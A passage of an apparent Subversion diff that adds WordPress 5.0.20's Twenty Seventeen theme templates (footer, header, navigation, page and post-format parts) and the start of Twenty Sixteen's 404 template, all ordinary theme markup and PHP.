+		margin-top: 0;
+		margin-bottom: 1.75em !important; /* override styles added by JavaScript */
+	}
+
+	.site-title {
+		font-size: 25pt;
+	}
+
+	.site-description {
+		font-size: 12pt;
+		opacity: 1;
+	}
+
+	/* Posts */
+
+	.single-featured-image-header {
+		background: transparent;
+	}
+
+	.entry-meta {
+		font-size: 9pt;
+	}
+
+	/* Colors */
+
+	body,
+	.site {
+		background: none !important; /* Brute force since user agents all print differently. */
+	}
+
+	body,
+	a,
+	.site-title a,
+	.twentyseventeen-front-page.has-header-image .site-title,
+	.twentyseventeen-front-page.has-header-video .site-title,
+	.twentyseventeen-front-page.has-header-image .site-title a,
+	.twentyseventeen-front-page.has-header-video .site-title a {
+		color: #222 !important; /* Make sure color schemes don't affect to print */
+	}
+
+	h2,
+	h5,
+	blockquote,
+	.site-description,
+	.twentyseventeen-front-page.has-header-image .site-description,
+	.twentyseventeen-front-page.has-header-video .site-description,
+	.entry-meta,
+	.entry-meta a {
+		color: #777 !important; /* Make sure color schemes don't affect to print */
+	}
+
+	.entry-content blockquote.alignleft,
+	.entry-content blockquote.alignright {
+		font-size: 11pt;
+		width: 34%;
+	}
+
+	.site-footer {
+		padding: 0;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/footer/footer-widgets.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/footer/footer-widgets.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/footer/footer-widgets.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Displays footer widgets if assigned
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+?>
+
+<?php
+if ( is_active_sidebar( 'sidebar-2' ) ||
+	 is_active_sidebar( 'sidebar-3' ) ) :
+?>
+
+	<aside class="widget-area" role="complementary" aria-label="<?php esc_attr_e( 'Footer', 'twentyseventeen' ); ?>">
+		<?php
+		if ( is_active_sidebar( 'sidebar-2' ) ) { ?>
+			<div class="widget-column footer-widget-1">
+				<?php dynamic_sidebar( 'sidebar-2' ); ?>
+			</div>
+		<?php }
+		if ( is_active_sidebar( 'sidebar-3' ) ) { ?>
+			<div class="widget-column footer-widget-2">
+				<?php dynamic_sidebar( 'sidebar-3' ); ?>
+			</div>
+		<?php } ?>
+	</aside><!-- .widget-area -->
+
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/footer/site-info.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/footer/site-info.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/footer/site-info.php	(revision 56912)
@@ -0,0 +1,21 @@
+<?php
+/**
+ * Displays footer site info
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+?>
+<div class="site-info">
+	<?php
+	if ( function_exists( 'the_privacy_policy_link' ) ) {
+		the_privacy_policy_link( '', '<span role="separator" aria-hidden="true"></span>' );
+	}
+	?>
+	<a href="<?php echo esc_url( __( 'https://wordpress.org/', 'twentyseventeen' ) ); ?>" class="imprint">
+		<?php printf( __( 'Proudly powered by %s', 'twentyseventeen' ), 'WordPress' ); ?>
+	</a>
+</div><!-- .site-info -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/header/header-image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/header/header-image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/header/header-image.php	(revision 56912)
@@ -0,0 +1,20 @@
+<?php
+/**
+ * Displays header media
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+?>
+<div class="custom-header">
+
+		<div class="custom-header-media">
+			<?php the_custom_header_markup(); ?>
+		</div>
+
+	<?php get_template_part( 'template-parts/header/site', 'branding' ); ?>
+
+</div><!-- .custom-header -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/header/site-branding.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/header/site-branding.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/header/site-branding.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * Displays header site branding
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+?>
+<div class="site-branding">
+	<div class="wrap">
+
+		<?php the_custom_logo(); ?>
+
+		<div class="site-branding-text">
+			<?php if ( is_front_page() ) : ?>
+				<h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
+			<?php else : ?>
+				<p class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></p>
+			<?php endif; ?>
+
+			<?php
+			$description = get_bloginfo( 'description', 'display' );
+
+			if ( $description || is_customize_preview() ) :
+			?>
+				<p class="site-description"><?php echo $description; ?></p>
+			<?php endif; ?>
+		</div><!-- .site-branding-text -->
+
+		<?php if ( ( twentyseventeen_is_frontpage() || ( is_home() && is_front_page() ) ) && ! has_nav_menu( 'top' ) ) : ?>
+		<a href="#content" class="menu-scroll-down"><?php echo twentyseventeen_get_svg( array( 'icon' => 'arrow-right' ) ); ?><span class="screen-reader-text"><?php _e( 'Scroll down to content', 'twentyseventeen' ); ?></span></a>
+	<?php endif; ?>
+
+	</div><!-- .wrap -->
+</div><!-- .site-branding -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/navigation/navigation-top.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/navigation/navigation-top.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/navigation/navigation-top.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Displays top navigation
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.2
+ */
+
+?>
+<nav id="site-navigation" class="main-navigation" role="navigation" aria-label="<?php esc_attr_e( 'Top Menu', 'twentyseventeen' ); ?>">
+	<button class="menu-toggle" aria-controls="top-menu" aria-expanded="false">
+		<?php
+		echo twentyseventeen_get_svg( array( 'icon' => 'bars' ) );
+		echo twentyseventeen_get_svg( array( 'icon' => 'close' ) );
+		_e( 'Menu', 'twentyseventeen' );
+		?>
+	</button>
+
+	<?php wp_nav_menu( array(
+		'theme_location' => 'top',
+		'menu_id'        => 'top-menu',
+	) ); ?>
+
+	<?php if ( ( twentyseventeen_is_frontpage() || ( is_home() && is_front_page() ) ) && has_custom_header() ) : ?>
+		<a href="#content" class="menu-scroll-down"><?php echo twentyseventeen_get_svg( array( 'icon' => 'arrow-right' ) ); ?><span class="screen-reader-text"><?php _e( 'Scroll down to content', 'twentyseventeen' ); ?></span></a>
+	<?php endif; ?>
+</nav><!-- #site-navigation -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/page/content-front-page-panels.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/page/content-front-page-panels.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/page/content-front-page-panels.php	(revision 56912)
@@ -0,0 +1,79 @@
+<?php
+/**
+ * Template part for displaying pages on front page
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+global $twentyseventeencounter;
+
+?>
+
+<article id="panel<?php echo $twentyseventeencounter; ?>" <?php post_class( 'twentyseventeen-panel ' ); ?> >
+
+	<?php if ( has_post_thumbnail() ) :
+		$thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'twentyseventeen-featured-image' );
+
+		// Calculate aspect ratio: h / w * 100%.
+		$ratio = $thumbnail[2] / $thumbnail[1] * 100;
+		?>
+
+		<div class="panel-image" style="background-image: url(<?php echo esc_url( $thumbnail[0] ); ?>);">
+			<div class="panel-image-prop" style="padding-top: <?php echo esc_attr( $ratio ); ?>%"></div>
+		</div><!-- .panel-image -->
+
+	<?php endif; ?>
+
+	<div class="panel-content">
+		<div class="wrap">
+			<header class="entry-header">
+				<?php the_title( '<h2 class="entry-title">', '</h2>' ); ?>
+
+				<?php twentyseventeen_edit_link( get_the_ID() ); ?>
+
+			</header><!-- .entry-header -->
+
+			<div class="entry-content">
+				<?php
+					/* translators: %s: Name of current post */
+					the_content( sprintf(
+						__( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ),
+						get_the_title()
+					) );
+				?>
+			</div><!-- .entry-content -->
+
+			<?php
+			// Show recent blog posts if is blog posts page (Note that get_option returns a string, so we're casting the result as an int).
+			if ( get_the_ID() === (int) get_option( 'page_for_posts' )  ) : ?>
+
+				<?php // Show four most recent posts.
+				$recent_posts = new WP_Query( array(
+					'posts_per_page'      => 3,
+					'post_status'         => 'publish',
+					'ignore_sticky_posts' => true,
+					'no_found_rows'       => true,
+				) );
+				?>
+
+		 		<?php if ( $recent_posts->have_posts() ) : ?>
+
+					<div class="recent-posts">
+
+						<?php
+						while ( $recent_posts->have_posts() ) : $recent_posts->the_post();
+							get_template_part( 'template-parts/post/content', 'excerpt' );
+						endwhile;
+						wp_reset_postdata();
+						?>
+					</div><!-- .recent-posts -->
+				<?php endif; ?>
+			<?php endif; ?>
+
+		</div><!-- .wrap -->
+	</div><!-- .panel-content -->
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/page/content-front-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/page/content-front-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/page/content-front-page.php	(revision 56912)
@@ -0,0 +1,49 @@
+<?php
+/**
+ * Displays content for front page
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+?>
+<article id="post-<?php the_ID(); ?>" <?php post_class( 'twentyseventeen-panel ' ); ?> >
+
+	<?php if ( has_post_thumbnail() ) :
+		$thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'twentyseventeen-featured-image' );
+
+		// Calculate aspect ratio: h / w * 100%.
+		$ratio = $thumbnail[2] / $thumbnail[1] * 100;
+		?>
+
+		<div class="panel-image" style="background-image: url(<?php echo esc_url( $thumbnail[0] ); ?>);">
+			<div class="panel-image-prop" style="padding-top: <?php echo esc_attr( $ratio ); ?>%"></div>
+		</div><!-- .panel-image -->
+
+	<?php endif; ?>
+
+	<div class="panel-content">
+		<div class="wrap">
+			<header class="entry-header">
+				<?php the_title( '<h2 class="entry-title">', '</h2>' ); ?>
+
+				<?php twentyseventeen_edit_link( get_the_ID() ); ?>
+
+			</header><!-- .entry-header -->
+
+			<div class="entry-content">
+				<?php
+					/* translators: %s: Name of current post */
+					the_content( sprintf(
+						__( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ),
+						get_the_title()
+					) );
+				?>
+			</div><!-- .entry-content -->
+
+		</div><!-- .wrap -->
+	</div><!-- .panel-content -->
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/page/content-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/page/content-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/page/content-page.php	(revision 56912)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * Template part for displaying page content in page.php
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+		<?php twentyseventeen_edit_link( get_the_ID() ); ?>
+	</header><!-- .entry-header -->
+	<div class="entry-content">
+		<?php
+			the_content();
+
+			wp_link_pages( array(
+				'before' => '<div class="page-links">' . __( 'Pages:', 'twentyseventeen' ),
+				'after'  => '</div>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-audio.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-audio.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-audio.php	(revision 56912)
@@ -0,0 +1,105 @@
+<?php
+/**
+ * Template part for displaying audio posts
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.2
+ */
+
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php
+		if ( is_sticky() && is_home() ) {
+			echo twentyseventeen_get_svg( array( 'icon' => 'thumb-tack' ) );
+		}
+	?>
+	<header class="entry-header">
+		<?php
+			if ( 'post' === get_post_type() ) {
+				echo '<div class="entry-meta">';
+					if ( is_single() ) {
+						twentyseventeen_posted_on();
+					} else {
+						echo twentyseventeen_time_link();
+						twentyseventeen_edit_link();
+					};
+				echo '</div><!-- .entry-meta -->';
+			};
+
+			if ( is_single() ) {
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			} elseif ( is_front_page() && is_home() ) {
+				the_title( '<h3 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h3>' );
+			} else {
+				the_title( '<h2 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h2>' );
+			}
+		?>
+	</header><!-- .entry-header -->
+
+	<?php
+		$content = apply_filters( 'the_content', get_the_content() );
+		$audio = false;
+
+		// Only get audio from the content if a playlist isn't present.
+		if ( false === strpos( $content, 'wp-playlist-script' ) ) {
+			$audio = get_media_embedded_in_content( $content, array( 'audio' ) );
+		}
+
+	?>
+
+	<?php if ( '' !== get_the_post_thumbnail() && ! is_single() ) : ?>
+		<div class="post-thumbnail">
+			<a href="<?php the_permalink(); ?>">
+				<?php the_post_thumbnail( 'twentyseventeen-featured-image' ); ?>
+			</a>
+		</div><!-- .post-thumbnail -->
+	<?php endif; ?>
+
+	<div class="entry-content">
+
+		<?php
+		if ( ! is_single() ) {
+
+			// If not a single post, highlight the audio file.
+			if ( ! empty( $audio ) ) {
+				foreach ( $audio as $audio_html ) {
+					echo '<div class="entry-audio">';
+						echo $audio_html;
+					echo '</div><!-- .entry-audio -->';
+				}
+			};
+
+		};
+
+		if ( is_single() || empty( $audio ) ) {
+
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ),
+				get_the_title()
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links">' . __( 'Pages:', 'twentyseventeen' ),
+				'after'       => '</div>',
+				'link_before' => '<span class="page-number">',
+				'link_after'  => '</span>',
+			) );
+
+		};
+		?>
+
+	</div><!-- .entry-content -->
+
+	<?php
+	if ( is_single() ) {
+		twentyseventeen_entry_footer();
+	}
+	?>
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-excerpt.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-excerpt.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-excerpt.php	(revision 56912)
@@ -0,0 +1,46 @@
+<?php
+/**
+ * Template part for displaying posts with excerpts
+ *
+ * Used in Search Results and for Recent Posts in Front Page panels.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.2
+ */
+
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+
+	<header class="entry-header">
+		<?php if ( 'post' === get_post_type() ) : ?>
+			<div class="entry-meta">
+				<?php
+				echo twentyseventeen_time_link();
+				twentyseventeen_edit_link();
+				?>
+			</div><!-- .entry-meta -->
+		<?php elseif ( 'page' === get_post_type() && get_edit_post_link() ) : ?>
+			<div class="entry-meta">
+				<?php twentyseventeen_edit_link(); ?>
+			</div><!-- .entry-meta -->
+		<?php endif; ?>
+
+		<?php if ( is_front_page() && ! is_home() ) {
+
+			// The excerpt is being displayed within a front page section, so it's a lower hierarchy than h2.
+			the_title( sprintf( '<h3 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h3>' );
+		} else {
+			the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' );
+		} ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-summary">
+		<?php the_excerpt(); ?>
+	</div><!-- .entry-summary -->
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-gallery.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-gallery.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-gallery.php	(revision 56912)
@@ -0,0 +1,92 @@
+<?php
+/**
+ * Template part for displaying gallery posts
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.2
+ */
+
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php
+	if ( is_sticky() && is_home() ) {
+		echo twentyseventeen_get_svg( array( 'icon' => 'thumb-tack' ) );
+	}
+	?>
+	<header class="entry-header">
+		<?php
+		if ( 'post' === get_post_type() ) {
+			echo '<div class="entry-meta">';
+				if ( is_single() ) {
+					twentyseventeen_posted_on();
+				} else {
+					echo twentyseventeen_time_link();
+					twentyseventeen_edit_link();
+				};
+			echo '</div><!-- .entry-meta -->';
+		};
+
+		if ( is_single() ) {
+			the_title( '<h1 class="entry-title">', '</h1>' );
+		} elseif ( is_front_page() && is_home() ) {
+			the_title( '<h3 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h3>' );
+		} else {
+			the_title( '<h2 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h2>' );
+		}
+		?>
+	</header><!-- .entry-header -->
+
+	<?php if ( '' !== get_the_post_thumbnail() && ! is_single() && ! get_post_gallery() ) : ?>
+		<div class="post-thumbnail">
+			<a href="<?php the_permalink(); ?>">
+				<?php the_post_thumbnail( 'twentyseventeen-featured-image' ); ?>
+			</a>
+		</div><!-- .post-thumbnail -->
+	<?php endif; ?>
+
+	<div class="entry-content">
+
+		<?php
+		if ( ! is_single() ) {
+
+			// If not a single post, highlight the gallery.
+			if ( get_post_gallery() ) {
+				echo '<div class="entry-gallery">';
+					echo get_post_gallery();
+				echo '</div>';
+			};
+
+		};
+
+		if ( is_single() || ! get_post_gallery() ) {
+
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ),
+				get_the_title()
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links">' . __( 'Pages:', 'twentyseventeen' ),
+				'after'       => '</div>',
+				'link_before' => '<span class="page-number">',
+				'link_after'  => '</span>',
+			) );
+
+		};
+		?>
+
+	</div><!-- .entry-content -->
+
+	<?php
+	if ( is_single() ) {
+		twentyseventeen_entry_footer();
+	}
+	?>
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-image.php	(revision 56912)
@@ -0,0 +1,81 @@
+<?php
+/**
+ * Template part for displaying image posts
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.2
+ */
+
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php
+		if ( is_sticky() && is_home() ) {
+			echo twentyseventeen_get_svg( array( 'icon' => 'thumb-tack' ) );
+		}
+	?>
+	<header class="entry-header">
+		<?php
+			if ( 'post' === get_post_type() ) {
+				echo '<div class="entry-meta">';
+					if ( is_single() ) {
+						twentyseventeen_posted_on();
+					} else {
+						echo twentyseventeen_time_link();
+						twentyseventeen_edit_link();
+					};
+				echo '</div><!-- .entry-meta -->';
+			};
+
+			if ( is_single() ) {
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			} elseif ( is_front_page() && is_home() ) {
+				the_title( '<h3 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h3>' );
+			} else {
+				the_title( '<h2 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h2>' );
+			}
+		?>
+	</header><!-- .entry-header -->
+
+	<?php if ( '' !== get_the_post_thumbnail() && ! is_single() ) : ?>
+		<div class="post-thumbnail">
+			<a href="<?php the_permalink(); ?>">
+				<?php the_post_thumbnail( 'twentyseventeen-featured-image' ); ?>
+			</a>
+		</div><!-- .post-thumbnail -->
+	<?php endif; ?>
+
+	<div class="entry-content">
+
+		<?php if ( is_single() || '' === get_the_post_thumbnail() ) {
+
+			// Only show content if is a single post, or if there's no featured image.
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ),
+				get_the_title()
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links">' . __( 'Pages:', 'twentyseventeen' ),
+				'after'       => '</div>',
+				'link_before' => '<span class="page-number">',
+				'link_after'  => '</span>',
+			) );
+
+		};
+		?>
+
+	</div><!-- .entry-content -->
+
+	<?php
+	if ( is_single() ) {
+		twentyseventeen_entry_footer();
+	}
+	?>
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-none.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-none.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-none.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Template part for displaying a message that posts cannot be found
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+?>
+
+<section class="no-results not-found">
+	<header class="page-header">
+		<h1 class="page-title"><?php _e( 'Nothing Found', 'twentyseventeen' ); ?></h1>
+	</header>
+	<div class="page-content">
+		<?php
+		if ( is_home() && current_user_can( 'publish_posts' ) ) : ?>
+
+			<p><?php printf( __( 'Ready to publish your first post? <a href="%1$s">Get started here</a>.', 'twentyseventeen' ), esc_url( admin_url( 'post-new.php' ) ) ); ?></p>
+
+		<?php else : ?>
+
+			<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentyseventeen' ); ?></p>
+			<?php
+				get_search_form();
+
+		endif; ?>
+	</div><!-- .page-content -->
+</section><!-- .no-results -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-video.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-video.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content-video.php	(revision 56912)
@@ -0,0 +1,103 @@
+<?php
+/**
+ * Template part for displaying video posts
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.2
+ */
+
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php
+		if ( is_sticky() && is_home() ) {
+			echo twentyseventeen_get_svg( array( 'icon' => 'thumb-tack' ) );
+		}
+	?>
+	<header class="entry-header">
+		<?php
+			if ( 'post' === get_post_type() ) {
+				echo '<div class="entry-meta">';
+					if ( is_single() ) {
+						twentyseventeen_posted_on();
+					} else {
+						echo twentyseventeen_time_link();
+						twentyseventeen_edit_link();
+					}
+				echo '</div><!-- .entry-meta -->';
+			};
+
+			if ( is_single() ) {
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			} elseif ( is_front_page() && is_home() ) {
+				the_title( '<h3 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h3>' );
+			} else {
+				the_title( '<h2 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h2>' );
+			}
+		?>
+	</header><!-- .entry-header -->
+
+	<?php
+		$content = apply_filters( 'the_content', get_the_content() );
+		$video = false;
+
+		// Only get video from the content if a playlist isn't present.
+		if ( false === strpos( $content, 'wp-playlist-script' ) ) {
+			$video = get_media_embedded_in_content( $content, array( 'video', 'object', 'embed', 'iframe' ) );
+		}
+	?>
+
+	<?php if ( '' !== get_the_post_thumbnail() && ! is_single() && empty( $video ) ) : ?>
+		<div class="post-thumbnail">
+			<a href="<?php the_permalink(); ?>">
+				<?php the_post_thumbnail( 'twentyseventeen-featured-image' ); ?>
+			</a>
+		</div><!-- .post-thumbnail -->
+	<?php endif; ?>
+
+	<div class="entry-content">
+
+		<?php
+		if ( ! is_single() ) {
+
+			// If not a single post, highlight the video file.
+			if ( ! empty( $video ) ) {
+				foreach ( $video as $video_html ) {
+					echo '<div class="entry-video">';
+						echo $video_html;
+					echo '</div>';
+				}
+			};
+
+		};
+
+		if ( is_single() || empty( $video ) ) {
+
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ),
+				get_the_title()
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links">' . __( 'Pages:', 'twentyseventeen' ),
+				'after'       => '</div>',
+				'link_before' => '<span class="page-number">',
+				'link_after'  => '</span>',
+			) );
+		};
+		?>
+
+	</div><!-- .entry-content -->
+
+	<?php
+	if ( is_single() ) {
+		twentyseventeen_entry_footer();
+	}
+	?>
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/template-parts/post/content.php	(revision 56912)
@@ -0,0 +1,75 @@
+<?php
+/**
+ * Template part for displaying posts
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.2
+ */
+
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php
+	if ( is_sticky() && is_home() ) :
+		echo twentyseventeen_get_svg( array( 'icon' => 'thumb-tack' ) );
+	endif;
+	?>
+	<header class="entry-header">
+		<?php
+		if ( 'post' === get_post_type() ) {
+			echo '<div class="entry-meta">';
+				if ( is_single() ) {
+					twentyseventeen_posted_on();
+				} else {
+					echo twentyseventeen_time_link();
+					twentyseventeen_edit_link();
+				};
+			echo '</div><!-- .entry-meta -->';
+		};
+
+		if ( is_single() ) {
+			the_title( '<h1 class="entry-title">', '</h1>' );
+		} elseif ( is_front_page() && is_home() ) {
+			the_title( '<h3 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h3>' );
+		} else {
+			the_title( '<h2 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h2>' );
+		}
+		?>
+	</header><!-- .entry-header -->
+
+	<?php if ( '' !== get_the_post_thumbnail() && ! is_single() ) : ?>
+		<div class="post-thumbnail">
+			<a href="<?php the_permalink(); ?>">
+				<?php the_post_thumbnail( 'twentyseventeen-featured-image' ); ?>
+			</a>
+		</div><!-- .post-thumbnail -->
+	<?php endif; ?>
+
+	<div class="entry-content">
+		<?php
+		/* translators: %s: Name of current post */
+		the_content( sprintf(
+			__( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ),
+			get_the_title()
+		) );
+
+		wp_link_pages( array(
+			'before'      => '<div class="page-links">' . __( 'Pages:', 'twentyseventeen' ),
+			'after'       => '</div>',
+			'link_before' => '<span class="page-number">',
+			'link_after'  => '</span>',
+		) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php
+	if ( is_single() ) {
+		twentyseventeen_entry_footer();
+	}
+	?>
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/404.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/404.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/404.php	(revision 56912)
@@ -0,0 +1,34 @@
+<?php
+/**
+ * The template for displaying 404 pages (not found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
